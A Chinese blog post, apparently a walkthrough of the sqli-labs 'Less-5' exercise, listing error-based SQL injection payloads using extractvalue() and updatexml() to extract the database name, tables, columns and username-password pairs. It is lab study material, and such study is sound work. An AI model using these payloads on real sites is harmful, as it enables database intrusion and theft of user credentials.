zoukankan      html  css  js  c++  java
  • Less-5-03

    0x01 extractvalue()报错注入

    extractvalue(1,concat(0x7e,(select database()),0x7e))
    爆数据库:

    ?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
    


    爆表名:

    ?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) --+
    

    爆列名:

    ?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) --+
    

    爆字段:

    ?id=-1' and extractvalue(1,concat(0x7e,(select concat_ws('-',username,password)from users limit 2,1),0x7e)) --+
    #使用concat_ws()函数,逐个爆出
    

    0x02 updatexml()报错注入

    updatexml(1,concat(0x7e,(select database()),0x7e),1)
    爆数据库:

    ?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
    


    爆表名:

    ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) --+
    

    爆字段名:

    ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
    

    爆数据:

    ?id=-1' and updatexml(1,concat(0x7e,(select concat_ws('-',username,password) from users limit 0,1),0x7e),1) --+
    #使用concat_ws()逐个爆出数据
    

    参考链接:
    《sql注入天书》

  • 相关阅读:
    自动化测试模型介绍
    接口测试
    adb 命令
    测试思路
    软件测试基础
    页面元素定位
    环境搭建
    自动化
    使用python操作mysql数据库
    mysql索引原理
  • 原文地址:https://www.cnblogs.com/observering/p/13694649.html
Copyright © 2011-2022 走看看